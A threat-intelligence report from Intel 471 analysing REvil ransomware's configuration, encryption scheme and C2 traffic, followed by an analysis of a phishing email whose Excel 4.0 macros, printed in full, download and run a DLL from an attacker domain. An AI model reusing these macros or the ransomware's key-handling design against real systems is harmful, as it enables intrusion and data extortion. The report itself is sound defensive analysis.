svcA list of regular expressions to match against running services to stop and delete them.
nbodyThe template of the ransom note encoded in base64.
nnameThe file name of the ransom note to be dropped inside encrypted directories.
expIndicates if REvil should exploit the CVE-2018-8453 vulnerability to escalate privileges.
imgThe text to be written in the background image encoded in base64.
arnWhen set to true, REvil persists in the system.

The registry values that REvil creates are described below:

Value nameDescription
1TfXkVictim’s secret key encrypted with the attacker’s public key present in the configuration.
2YEdLYVictim’s secret key encrypted with a master public key hard coded in the binary code.
aahThe attacker’s public key.
fdleThe victim’s public key.
AaZW1s3The extension appended to files after encryption.
QaUXNv2PThe victim’s key encrypted with a second hard-coded public key in the binary code.

Encryption

REvil ransomware implements encryption schemes involving an elliptic curve called Curve25519, Salsa20, SHA-3, CRC32 and Advanced Encryption Standard (AES). We identified the specific open-source implementations utilized by REvil:

This subsection delves into the details of how these algorithms are used to encrypt data and files.

Encryption keys

REvil ransomware relies on Curve25519 to generate public and secret key pairs and to create shared keys for encryption. What follows defines the Curve25519 keys referred to throughout this subsection:

Key-pair nameDescription
crypt (crypt_public/crypt_secret)The victim’s main key pair used for file encryption.
file (file_public / file_secret)A random key pair generated for each encrypted file.
attacker (attacker_public / attacker_secret)The attacker’s key pair. attacker_public is present under the pk configuration field.
master (master_public / master_secret)The master key pair. master_public is hard coded inside the binary code and is the same across all REvil samples.
user_config (user_config_public / user_config_secret)The user configuration key pair. user_config_public is hard coded in the binary code and is used to encrypt the user key we find encrypted in the ransom note.
Data encryption

REvil ransomware encrypts all important data it stores in the registry. For instance, the user key present in the ransom note and in the registry is a JSON dictionary encrypted using the method we describe in the paragraphs that follow.

To encrypt a buffer, REvil invokes the following function:

BYTE* rvl_encrypt_data(BYTE *hispublic, BYTE *buffer, int buffer_length, BYTE *out_buffer_length)

This function requires a 32-byte Curve25519 public key, a buffer to encrypt and its length. The end result is a pointer to the buffer in the return value and its length in the output parameter out_buffer_length.

Internally, this function performs the following actions:

  • Allocate buffer_length bytes plus an extra 56 bytes to hold the final data.
  • Zero out the first 4 bytes of the allocated buffer.
  • Copy the buffer to encrypt after the zeroed double word.
  • Generate a new Curve25519 key pair we call new_public and new_secret.
  • Calculate a Curve25519 shared key between the hispublic key supplied in the arguments and the new_secret. The recipient of the message can use the secret key and new_public to obtain the same shared key.
  • Hash the shared key using the SHA-3 algorithm.
  • Clear the shared key from memory.
  • Clear new_secret from memory.
  • Generate a random 128-bit AES initialization vector.
  • Encrypt the buffer using AES with the SHA-3 hash as a key. The buffer to encrypt includes the prepended 32-bit NULL value.
  • Clear the SHA-3 hash from memory.
  • Calculate the CRC32 of the encrypted buffer.
  • Append the following elements to the encrypted buffer in this order:
    • The generated new_public key (32 bytes).
    • The initialization vector (16 bytes).
    • CRC32 of the encrypted buffer (4 bytes).

The end result looks like:

As an example, after decoding the user key present in the ransom note using base64, we see it respects this same format:

In order for the attackers to decrypt this data and retrieve the JSON dictionary and as a result the encrypted victim’s crypt_secret key, they must do the following:

  • Verify the CRC32 hash of the encrypted data.
  • Calculate a Curve25519 shared key using the new_public key in the data and the attacker’s secret user_config_secret.
  • Hash the shared key using SHA-3.
  • Retrieve the AES initialization vector and decrypt the buffer using AES.
  • Remove the NULL double word at the start of the buffer.

It is important to mention the victim’s crypt_secret key is encrypted the same way using the attacker’s attacker_public key (registry value “1TfXk”) and the master_public key (registry value “2YEdLY”).

File encryption

REvil ransomware encryption works by encrypting the files in 1 MB increments unless the file size is smaller, the remaining bytes to encrypt are less than 1 MB or when the encryption type specified is not full encryption. Contents of the file are read, encrypted and written back to the file overwriting the original content. After the encryption is complete, metadata is written to the end of file and the file is renamed to include the generated file extension (registry value AaZW1s3).

For each given file, REvil ransomware starts encryption by initializing a structure used throughout the process. Its first part includes the Windows OVERLAPPED structure used for asynchronous I/O followed by custom fields REvil uses. The most interesting part of this structure was reverse engineered to the following:

typedef struct _rvl_filecrypt_struct
{
    OVERLAPPED Overlapped;
    /*..SNIP..*/
    struct _rvl_metadata
    {
        BYTE crypt_secret_w_attacker_pub[88]; // same as registry value "1TfXk".
        BYTE crypt_secret_w_master_pub[88]; // same as registry value "2YEdLY".
        BYTE file_public[32]; // The file_public key.
        BYTE salsa20_iv[8]; // salsa20 initialization vector.
        DWORD crc32_file_public; // CRC32 hash of file_public.
        DWORD et; // The encryption type.
        DWORD spsize; // spsize field if applicable.
        DWORD encrypted_null; // A NULL value encrypted with salsa20.
    } metadata;
    /*..SNIP..*/
} rvl_filecrypt_struct, *prvl_filecrypt_struct;

This metadata substructure is appended to the end of every encrypted file, is used by the decrypter and by REvil to verify a file previously was encrypted.

The Salsa20 symmetric encryption key is the SHA-3 hash of a shared key derived from the victim’s crypt_public key and the secret of a generated key pair: file_secret.

To decrypt a file, both the victim’s crypt_secret key and the file_public key must be known:

  • It is possible to decrypt the crypt_secret knowing either the operators’ attacker_secret or master_secret keys and by applying the same logic described in the Data encryption subsection.
  • It is possible to retrieve the per file file_public key from the end of an encrypted file after validating its CRC32 hash.
  • Having attained both a public and a secret key from previous steps, generate a shared Curve25519 key and hash it using SHA-3.
  • Copy the value of the Salsa20 initialization vector from the metadata structure at the end of the file.
  • Test decrypting the encrypted NULL double word with the SHA-3 hash as a key.
  • Determine the encryption type used to perform correct decryption of the file, then start decrypting accordingly.

By following this scheme, the attackers are sure not to divulge their secret keys when sending decrypters to victims. On their side, attackers only have to decrypt the victim’s crypt_secret key and send back a decrypter embedding this key.

Persistence mechanism

Prior to version 2.1, REvil ransomware persists on the machine if the arn configuration field is set to true. It writes its path to the registry key SOFTWARE for persistence. The value name of the entry for the analyzed sample is k51299BQXH.

Before terminating execution, REvil marks its executable file for deletion during the next reboot. As a result, the persistence path will become invalid.

The persistence mechanism was removed from REvil version 2.1.

Protections

REvil ransomware does not implement any protections.

Communications

REvil ransomware only initiates communication with its controllers when the configuration field net is set to true. In that case, REvil extracts the controller list from the dmn configuration string and proceeds to build a custom URL in a loop for each controller before initiating communications.

Each controller is preceded by the string https://, followed by a random path chosen from hard-coded values and then terminated by a random file name. The regular expression below matches all random URL paths generated by REvil ransomware:

\/(wp-content|static|content|include|uploads|news|data|admin)\/(images|pictures|image|temp|tmp|graphic|assets|pics|game)\/([a-z]{2}){1,10}\.(jpg|png|gif)

REvil then proceeds to send a POST request containing the victim’s key stored in the registry value QaUXNv2P to the controllers. Afterward, the controller response is read into a buffer that subsequently is ignored and freed.

Appendix

Appendix 1: REvil configuration

Example of a REvil configuration. We redacted most of the controllers for readability:

{
  "pk":"YO9E7ouT83RseZgGnLR2DxiFRbXiteYQirOJcZOjplo=",
  "pid":"$2a$10$7qQ70syLvX5aslSuSa9AWurg843zRR.433XEtfk2rGURjN9e.xNz6",
  "sub":"3195",
  "dbg":false,
  "et":1,
  "wipe":false,
  "wht":{
      "fld":[
        "programdata",
        "perflogs",
        "application data",
        "appdata",
        "$windows.~bt",
        "system volume information",
        "windows",
        "tor browser",
        "google",
        "msocache",
        "boot",
        "windows.old",
        "$windows.~ws",
        "mozilla",
        "intel"
      ],
      "fls":[
        "boot.ini",
        "ntuser.dat",
        "iconcache.db",
        "autorun.inf",
        "bootsect.bak",
        "desktop.ini",
        "thumbs.db",
        "ntuser.ini",
        "ntuser.dat.log",
        "ntldr",
        "bootfont.bin"
      ],
      "ext":[
        "msp",
        "rom",
        "rtp",
        "shs",
        "mod",
        "cur",
        "msc",
        "nomedia",
        "deskthemepack",
        "diagcab",
        "diagcfg",
        "msstyles",
        "scr",
        "hta",
        "idx",
        "ics",
        "lock",
        "diagpkg",
        "icns",
        "msi",
        "themepack",
        "key",
        "bin",
        "theme",
        "bat",
        "cab",
        "nls",
        "spl",
        "icl",
        "sys",
        "drv",
        "lnk",
        "cmd",
        "adv",
        "cpl",
        "ico",
        "com",
        "exe",
        "ocx",
        "dll",
        "hlp",
        "mpa",
        "prf",
        "wpx",
        "ani",
        "msu",
        "ps1",
        "386"
      ]
  },
  "wfld":[
      "backup"
  ],
  "prc":[
      "w3wp",
      "thunderbird",
      "mydesktopqos",
      "powerpnt",
      "outlook",
      "srv",
      "infopath",
      "msaccess",
      "ocautoupds",
      "qb",
      "core",
      "mspub",
      "store",
      "ssms",
      "dbeng50",
      "ax32",
      "sql",
      "exchange",
      "onenote",
      "ocssd",
      "sage",
      "pos",
      "word",
      "java",
      "sophos",
      "xfssvccon",
      "visio",
      "synctime",
      "oracle",
      "crm",
      "excel",
      "dbs",
      "ocomm",
      "svc$"
  ],
  "dmn":"sweering[.]fr;shiresresidential[.]com;bogdanpeptine[.]ro;ruralarcoiris[.]com;echtveilig[.]nl",
  "net":false,
  "svc":[
      "memtas",
      "crm",
      "quickbooks",
      "svc$",
      "veeam",
      "oracle",
      "mepocs",
      "exchange",
      "pos",
      "vss",
      "sql",
      "backup",
      "qb",
      "sophos",
      "sage"
  ],
  "nbody":"LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwArAF0AIABXAGgAYQB0AHMAIABIAGEAcABwAGUAbgA/ACAAWwArAF0ADQAKAA0ACgBZAG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAsACAAYQBuAGQAIABjAHUAcgByAGUAbgB0AGwAeQAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAuACAAWQBvAHUAIABjAGEAbgAgAGMAaABlAGMAawAgAGkAdAA6ACAAYQBsAGwAIABmAGkAbABlAHMAIABvAG4AIAB5AG8AdQByACAAYwBvAG0AcAB1AHQAZQByACAAaABhAHMAIABlAHgAdABlAG4AcwBpAG8AbgAgAHsARQBYAFQAfQAuAA0ACgBCAHkAIAB0AGgAZQAgAHcAYQB5ACwAIABlAHYAZQByAHkAdABoAGkAbgBnACAAaQBzACAAcABvAHMAcwBpAGIAbABlACAAdABvACAAcgBlAGMAbwB2AGUAcgAgACgAcgBlAHMAdABvAHIAZQApACwAIABiAHUAdAAgAHkAbwB1ACAAbgBlAGUAZAAgAHQAbwAgAGYAbwBsAGwAbwB3ACAAbwB1AHIAIABpAG4AcwB0AHIAdQBjAHQAaQBvAG4AcwAuACAATwB0AGgAZQByAHcAaQBzAGUALAAgAHkAbwB1ACAAYwBhAG4AdAAgAHIAZQB0AHUAcgBuACAAeQBvAHUAcgAgAGQAYQB0AGEAIAAoAE4ARQBWAEUAUgApAC4ADQAKAA0ACgBbACsAXQAgAFcAaABhAHQAIABnAHUAYQByAGEAbgB0AGUAZQBzAD8AIABbACsAXQANAAoADQAKAEkAdABzACAAagB1AHMAdAAgAGEAIABiAHUAcwBpAG4AZQBzAHMALgAgAFcAZQAgAGEAYgBzAG8AbAB1AHQAZQBsAHkAIABkAG8AIABuAG8AdAAgAGMAYQByAGUAIABhAGIAbwB1AHQAIAB5AG8AdQAgAGEAbgBkACAAeQBvAHUAcgAgAGQAZQBhAGwAcwAsACAAZQB4AGMAZQBwAHQAIABnAGUAdAB0AGkAbgBnACAAYgBlAG4AZQBmAGkAdABzAC4AIABJAGYAIAB3AGUAIABkAG8AIABuAG8AdAAgAGQAbwAgAG8AdQByACAAdwBvAHIAawAgAGEAbgBkACAAbABpAGEAYgBpAGwAaQB0AGkAZQBzACAALQAgAG4AbwBiAG8AZAB5ACAAdwBpAGwAbAAgAG4AbwB0ACAAYwBvAG8AcABlAHIAYQB0AGUAIAB3AGkAdABoACAAdQBzAC4AIABJAHQAcwAgAG4AbwB0ACAAaQBuACAAbwB1AHIAIABpAG4AdABlAHIAZQBzAHQAcwAuAA0ACgBUAG8AIABjAGgAZQBjAGsAIAB0AGgAZQAgAGEAYgBpAGwAaQB0AHkAIABvAGYAIAByAGUAdAB1AHIAbgBpAG4AZwAgAGYAaQBsAGUAcwAsACAAWQBvAHUAIABzAGgAbwB1AGwAZAAgAGcAbwAgAHQAbwAgAG8AdQByACAAdwBlAGIAcwBpAHQAZQAuACAAVABoAGUAcgBlACAAeQBvAHUAIABjAGEAbgAgAGQAZQBjAHIAeQBwAHQAIABvAG4AZQAgAGYAaQBsAGUAIABmAG8AcgAgAGYAcgBlAGUALgAgAFQAaABhAHQAIABpAHMAIABvAHUAcgAgAGcAdQBhAHIAYQBuAHQAZQBlAC4ADQAKAEkAZgAgAHkAbwB1ACAAdwBpAGwAbAAgAG4AbwB0ACAAYwBvAG8AcABlAHIAYQB0AGUAIAB3AGkAdABoACAAbwB1AHIAIABzAGUAcgB2AGkAYwBlACAALQAgAGYAbwByACAAdQBzACwAIABpAHQAcwAgAGQAbwBlAHMAIABuAG8AdAAgAG0AYQB0AHQAZQByAC4AIABCAHUAdAAgAHkAbwB1ACAAdwBpAGwAbAAgAGwAbwBzAGUAIAB5AG8AdQByACAAdABpAG0AZQAgAGEAbgBkACAAZABhAHQAYQAsACAAYwBhAHUAcwBlACAAagB1AHMAdAAgAHcAZQAgAGgAYQB2AGUAIAB0AGgAZQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAuACAASQBuACAAcAByAGEAYwB0AGkAcwBlACAALQAgAHQAaQBtAGUAIABpAHMAIABtAHUAYwBoACAAbQBvAHIAZQAgAHYAYQBsAHUAYQBiAGwAZQAgAHQAaABhAG4AIABtAG8AbgBlAHkALgANAAoADQAKAFsAKwBdACAASABvAHcAIAB0AG8AIABnAGUAdAAgAGEAYwBjAGUAcwBzACAAbwBuACAAdwBlAGIAcwBpAHQAZQA/ACAAWwArAF0ADQAKAA0ACgBZAG8AdQAgAGgAYQB2AGUAIAB0AHcAbwAgAHcAYQB5AHMAOgANAAoADQAKADEAKQAgAFsAUgBlAGMAbwBtAG0AZQBuAGQAZQBkAF0AIABVAHMAaQBuAGcAIABhACAAVABPAFIAIABiAHIAbwB3AHMAZQByACEADQAKACAAIABhACkAIABEAG8AdwBuAGwAbwBhAGQAIABhAG4AZAAgAGkAbgBzAHQAYQBsAGwAIABUAE8AUgAgAGIAcgBvAHcAcwBlAHIAIABmAHIAbwBtACAAdABoAGkAcwAgAHMAaQB0AGUAOgAgAGgAdAB0AHAAcwA6AC8ALwB0AG8AcgBwAHIAbwBqAGUAYwB0AC4AbwByAGcALwANAAoAIAAgAGIAKQAgAE8AcABlAG4AIABvAHUAcgAgAHcAZQBiAHMAaQB0AGUAOgAgAGgAdAB0AHAAOgAvAC8AYQBwAGwAZQBiAHoAdQA0ADcAdwBnAGEAegBhAHAAZABxAGsAcwA2AHYAcgBjAHYANgB6AGMAbgBqAHAAcABrAGIAeABiAHIANgB3AGsAZQB0AGYANQA2AG4AZgA2AGEAcQAyAG4AbQB5AG8AeQBkAC4AbwBuAGkAbwBuAC8AewBVAEkARAB9AA0ACgANAAoAMgApACAASQBmACAAVABPAFIAIABiAGwAbwBjAGsAZQBkACAAaQBuACAAeQBvAHUAcgAgAGMAbwB1AG4AdAByAHkALAAgAHQAcgB5ACAAdABvACAAdQBzAGUAIABWAFAATgAhACAAQgB1AHQAIAB5AG8AdQAgAGMAYQBuACAAdQBzAGUAIABvAHUAcgAgAHMAZQBjAG8AbgBkAGEAcgB5ACAAdwBlAGIAcwBpAHQAZQAuACAARgBvAHIAIAB0AGgAaQBzADoADQAKACAAIABhACkAIABPAHAAZQBuACAAeQBvAHUAcgAgAGEAbgB5ACAAYgByAG8AdwBzAGUAcgAgACgAQwBoAHIAbwBtAGUALAAgAEYAaQByAGUAZgBvAHgALAAgAE8AcABlAHIAYQAsACAASQBFACwAIABFAGQAZwBlACkADQAKACAAIABiACkAIABPAHAAZQBuACAAbwB1AHIAIABzAGUAYwBvAG4AZABhAHIAeQAgAHcAZQBiAHMAaQB0AGUAOgAgAGgAdAB0AHAAOgAvAC8AZABlAGMAcgB5AHAAdABvAHIALgBjAGMALwB7AFUASQBEAH0ADQAKAA0ACgBXAGEAcgBuAGkAbgBnADoAIABzAGUAYwBvAG4AZABhAHIAeQAgAHcAZQBiAHMAaQB0AGUAIABjAGEAbgAgAGIAZQAgAGIAbABvAGMAawBlAGQALAAgAHQAaABhAHQAcwAgAHcAaAB5ACAAZgBpAHIAcwB0ACAAdgBhAHIAaQBhAG4AdAAgAG0AdQBjAGgAIABiAGUAdAB0AGUAcgAgAGEAbgBkACAAbQBvAHIAZQAgAGEAdgBhAGkAbABhAGIAbABlAC4ADQAKAA0ACgBXAGgAZQBuACAAeQBvAHUAIABvAHAAZQBuACAAbwB1AHIAIAB3AGUAYgBzAGkAdABlACwAIABwAHUAdAAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABkAGEAdABhACAAaQBuACAAdABoAGUAIABpAG4AcAB1AHQAIABmAG8AcgBtADoADQAKAEsAZQB5ADoADQAKAA0ACgB7AEsARQBZAH0ADQAKAA0ACgANAAoARQB4AHQAZQBuAHMAaQBvAG4AIABuAGEAbQBlADoADQAKAA0ACgB7AEUAWABUAH0ADQAKAA0ACgAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ADQAKAA0ACgAhACEAIQAgAEQAQQBOAEcARQBSACAAIQAhACEADQAKAEQATwBOAFQAIAB0AHIAeQAgAHQAbwAgAGMAaABhAG4AZwBlACAAZgBpAGwAZQBzACAAYgB5ACAAeQBvAHUAcgBzAGUAbABmACwAIABEAE8ATgBUACAAdQBzAGUAIABhAG4AeQAgAHQAaABpAHIAZAAgAHAAYQByAHQAeQAgAHMAbwBmAHQAdwBhAHIAZQAgAGYAbwByACAAcgBlAHMAdABvAHIAaQBuAGcAIAB5AG8AdQByACAAZABhAHQAYQAgAG8AcgAgAGEAbgB0AGkAdgBpAHIAdQBzACAAcwBvAGwAdQB0AGkAbwBuAHMAIAAtACAAaQB0AHMAIABtAGEAeQAgAGUAbgB0AGEAaQBsACAAZABhAG0AZwBlACAAbwBmACAAdABoAGUAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABhAG4AZAAsACAAYQBzACAAcgBlAHMAdQBsAHQALAAgAFQAaABlACAATABvAHMAcwAgAGEAbABsACAAZABhAHQAYQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEADQAKAE8ATgBFACAATQBPAFIARQAgAFQASQBNAEUAOgAgAEkAdABzACAAaQBuACAAeQBvAHUAcgAgAGkAbgB0AGUAcgBlAHMAdABzACAAdABvACAAZwBlAHQAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYgBhAGMAawAuACAARgByAG8AbQAgAG8AdQByACAAcwBpAGQAZQAsACAAdwBlACAAKAB0AGgAZQAgAGIAZQBzAHQAIABzAHAAZQBjAGkAYQBsAGkAcwB0AHMAKQAgAG0AYQBrAGUAIABlAHYAZQByAHkAdABoAGkAbgBnACAAZgBvAHIAIAByAGUAcwB0AG8AcgBpAG4AZwAsACAAYgB1AHQAIABwAGwAZQBhAHMAZQAgAHMAaABvAHUAbABkACAAbgBvAHQAIABpAG4AdABlAHIAZgBlAHIAZQAuAA0ACgAhACEAIQAgACEAIQAhACAAIQAhACEAAAA=",
  "nname":"{EXT}-readme.txt",
  "exp":false,
  "img":"QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpAG4AZAAgAHsARQBYAFQAfQAtAHIAZQBhAGQAbQBlAC4AdAB4AHQAIABhAG4AZAAgAGYAbwBsAGwAbwB3ACAAaQBuAHMAdAB1AGMAdABpAG8AbgBzAAAA",
  "arn":false
}

Anti-virus (AV) classifications

AVAlias
ALYacTrojan.Ransom.Sodinokibi
IkarusTrojan-Ransom.Sodinokibi
ClamAVWin.Ransomware.Sodinokibi
ESET-NOD32Win32/Filecoder.Sodinokibi
FortinetW32/Sodinokibi.B!tr.ransom
MalwarebytesRansom.Sodinokibi
MicrosoftRansom:Win32/Sodinokibi
RisingRansom.Sodin
TrendMicro HouseCallWin32.SODINOKIB.SMTH
ViRobotTrojan.Win32.Z.Sodinokibi
WebrootW32.Ransom.Sodinokibi

Analysis of an attempted attack against Intel 471

By the Intel 471 Malware Intelligence team.

Background

The following write-up is our analysis of an attack attempted against one of our employees this week. At no point was our employee’s system at risk of being compromised. Interestingly, the employee’s email address only had been used in very few instances externally. We are releasing this information publicly to share tactics, techniques and procedures (TTPs) and encourage others to share similar incidents.

Summary

The threat actor that sent this malspam campaign demonstrated good operational security (OPSEC) by hiding their infrastructure behind professional bulletproof hosting (BPH) services and by filtering traffic to hide final payloads from curious researchers. The actor used a series of tools in this operation, including KeitaroTDS, a malicious Microsoft Excel spreadsheet document builder and the Zloader banking trojan (aka Terdot). 

Considering the nature of the malspam documents (usually named “Invoice”) and the use of a banking trojan, we assess the intended goal of the attackers was to make unauthorized bank transfers from victim accounts.

Email details

The following email was sent to ****@intel471.com 5:26:11 p.m. GMT, Monday, March 23, 2020:

FilenameMarch Incoming Invoice from Seed Records.eml
SHA256 hash5d1bb0aef5545138feb825d5b0669ccc4a68abb4323362f2fe188e86c62aeed0

The sender was an AOL mail account, using the AOL mail portal and a Windows machine using the Google Chrome browser (if the user agent can be trusted).

From: Annika Preston <mitchell.barbaraogde@aol.com>
To: ****@intel471.com

Message-ID: <973929450.719011.1584984371396@mail.yahoo.com>
Subject: March Incoming Invoice from Seed Records
MIME-Version: 1.0
Content-Type: multipart/mixed;        
boundary=”—-=_Part_719010_1408914388.1584984371396″
References: <973929450.719011.1584984371396.ref@mail.yahoo.com>
X-Mailer: WebService/1.1.15518 aolwebmail Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36

Sender IP address

The mail was received from the Yahoo mail netspace. 

Received: from sonic313-9.consmr.mail.ne1.yahoo.com
(sonic313-9.consmr.mail.ne1.yahoo.com. [66.163.185.32])  
      
by mx.google.com with ESMTPS id c76si12645930ilg.12.2020.03.23.10.26.15 for <****@intel471.com> (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 23 Mar 2020 10:26:16 -0700 (PDT)

Excel spreadsheet details

The spreadsheet’s metadata contained the following information:

PropertyValue
Create time2020-02-27 10:23:09.379000
Last saved time2020-03-23 12:01:22
Commentsq8uOfaZ1QVOMIl4NtP
AuthorN/A

The document implemented malicious Excel 4.0 Macros (XLM) to download and execute the secondary stage payload.

These macros were present in a hidden sheet named “DiOAFArhpr”. The macros were written vertically, character-by-character inside different cells. This approach was employed to bypass detection since analysis tools can fail to retrieve the command strings.

The executed macros were:

=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<381, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(TRUE))
=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), 
     ,CLOSE(TRUE))

=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,
     "hxxps://grpxmqnrb[.]pw/egrg4g3g",
     "c:\Users\Public\fef2fff.html",0,0)

=ALERT("The workbook cannot be opened or repaired 
     by Microsoft Excel because it's corrupt.",2)
=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open",
     "C:\Windows\system32\rundll32.exe",
     "c:\Users\Public\fef2fff.html,DllRegisterServer",0,5)

The DLL at the location hxxps://grpxmqnrb[.]pw/egrg4g3g was retrieved and saved under “C:\Users\Public\fef2fff.html” before being executed.

As shown in the HTTP request below, the malicious server performed a redirection to the GitHub software development platform (GitHub was advised) and downloaded a dynamic link library (DLL) from a public repository.

GET /egrg4g3g HTTP/1.1
Host: grpxmqnrb[.]pw
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)Accept: */*

HTTP/1.1 302 Found
Server: nginx
Date: Tue, 24 Mar 2020 13:00:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache, no-store, must-revalidate,post-check=0,pre-check=0
Expires: 0
Last-Modified: Tue, 24 Mar 2020 13:00:34 GMT
Location: hxxps://github[.]com/arntsonl/calc_security_poc/raw/master/dll/calc.dll
Pragma: no-cache
Set-Cookie: _subid=357bngnes3kqn;
Expires=Friday, 24-Apr-2020 13:00:34 GMT;Max-Age=2678400;Path=/
X-Content-Type-Options: nosniff

Examining it revealed it does nothing but pop the Windows calculator.

Clearly, we have received a decoy payload. 

Network artifact research

The malicious Excel document contained a macro that downloaded a file from:

grpxmqnrb[.]pw

Creation Date2020-03-23T07:08:34.0Z
Expiration Date2021-03-23T23:59:59.0Z
Name ServersA.DNSPOD.COM, B.DNSPOD.COM
RegistrarNamecheap

The domain name probably was created solely for this campaign because it was created only days ago and appears to have no legitimate web presence.

An instance of KeitaroTDS (Traffic Directional System) was found on this domain:

The domain has the following DNS records:

;; ANSWER SECTION:
grpxmqnrb[.]pw. 600 IN NS c.dnspod.com.
grpxmqnrb[.]pw. 600 IN NS b.dnspod.com.
grpxmqnrb[.]pw. 600 IN NS a.dnspod.com.
grpxmqnrb[.]pw. 600 IN A 8.208.28.247
grpxmqnrb[.]pw. 600 IN SOA a.dnspod.com. domainadmin.dnspod.com. 1584947588 3600 180 1209600 180

We can see the domain is administered via DNSPod, a product of Chinese company Tencent (https://dnspod.cloud.tencent.com/). 

The IP address in the address record or “A record” belongs to Alibaba Cloud aka Aliyun.

inetnum:        8.208.0.0 – 8.208.255.255
netname:        ALICLOUD-GB
descr:          Aliyun Computing Co.LTD

This IP address was identified by our intelligence team as hosted by the well-known Russian-based BPH service yalishanda. The actor yalishanda’s service offers a reverse proxy network that abuses cloud providers, such as Alibaba-Cloud, Tencent Cloud, Google Cloud and others. The service uses the Chinese based free DNS provider DNSPOD to rotate client domains across the reverse proxy network. This can be thought of as a host-based fast-flux service. The fact the threat actors behind this attack have the ability to access and pay for BPH infrastructure lends more credence to the idea they are a somewhat capable and well-resourced group.

The following table contains information on the SSL certificate used by the domain:

Common namegrpxmqnrb[.]pw
IssuerLet’s Encrypt Authority X3
ValidFrom March 22, 2020 to June 20, 2020
Signature Algorithmsha256WithRSAEncryption
Serial Number041117a29a27b3b4bda2f53fd1d8ab9581d9

Passive DNS Results

Passive DNS results showed plenty of similar and recent activity associated with the IP address 8.208.28[.]247.

DomainFirst Seen
(GMT)
Notes
grpxmqnrb[.]pw2020-03-23 00:20:31Associated with this campaign and with Yalishanda bulletproof hosting infrastructure.
gfhudnjv[.]xyz2020-03-24 03:10:29Associated with Yalishanda bulletproof hosting infrastructure.
wgyafqtc[.]online2020-03-18 15:30:23Associated with similar Excel doc based campaign: https://www.virustotal.com/gui/file/34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa/detection
wgyvjbse[.]pw2020-03-18 14:45:51Confirmed Zloader controller domain name
botiq[.]xyz2020-03-18 14:46:16Confirmed Zloader controller domain name
dhteijwrb[.]host2020-03-17 07:55:04Linked directly to a very similar campaign: https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros. Associated with Yalishanda bulletproof hosting infrastructure.
tdvomds[.]pw2020-03-16 17:00:00Same type of activity: https://www.joesandbox.com/analysis/215946/0/html. Associated with Yalishanda bulletproof hosting infrastructure.
siloban[.]pw2020-03-17 07:54:50Linked to 161.117.177[.]248 which is a confirmed Zloader controller address and part of yalishanda’s fast-flux bulletproof hosting infrastructure. Also a confirmed Zloader controller domain name.
hxzfvomd[.]buzz2020-03-15 17:00:00Linked to several similar campaigns and associated with Yalishanda bulletproof hosting infrastructure.

Reconstructing the attack

We initially were unable to download the intended payload from hxxps://grpxmqnrb[.]pw/egrg4g3g, but by following the trail of infrastructure and record of activity, we were able to reproduce the steps and continue the investigation.

The file invoice-522.xls (SHA256: 34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa) was analyzed on the VirusTotal intelligence platform and found to communicate with the same IP address, although via a different domain and file path. This likely is a previous campaign by the same threat actor or group. 

This analysis provided a successful fetch of the initial payload: 06afeaf2b0b985e0d9e048ea8ef0231026cac4c03d3ddf45f6a4ab18d884505c

<html> <head><base href="/lander/excel4_1581586732/index.html"> <link rel="stylesheet" href="resource://content-accessible/plaintext.css"> </head> <body> =CLOSE(FALSE) </pre> </body> </html>

This payload is an exact match of the one received by Amirreza Niakanlahiji and Pedram Amini in their blog post on a previous campaign from the same actors (see: https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros). They received a payload that contacted some unknown controllers:

  • hxxps://aquolepp[.]pw/milagrecf.php
  • hxxps://dhteijwrb[.]host/milagrecf.php

We recognized these as Zloader control server addresses because they are re-using the milagrecf.php file path for their controller URLs.

Was it possible our campaign was unrelated? As an analyst, one must always approach an investigation with a healthy dose of skepticism. A few instances of similar behavior can be coincidental. We should look for patterns of behavior to learn how the operation works. 

By pivoting on the response content, we found several similar URLs first seen recently:

First SeenAV ScoreURL
2020-03-190/ 76hxxps://wgyafqtc[.]online/fgwg24g24g
2020-03-194/ 76hxxps://tdvomds[.]pw/fgwg24g24g
2020-03-170/ 71hxxp://tdvomds[.]pw/12341324rfefv
2020-03-195/ 76hxxps://tdvomds[.]pw/12341324rfefv
2020-03-161/ 71hxxps://hxzfvomd[.]buzz/asf2f1ff
2020-03-161/ 71hxxp://hxzfvomd[.]buzz/asf2f1ff
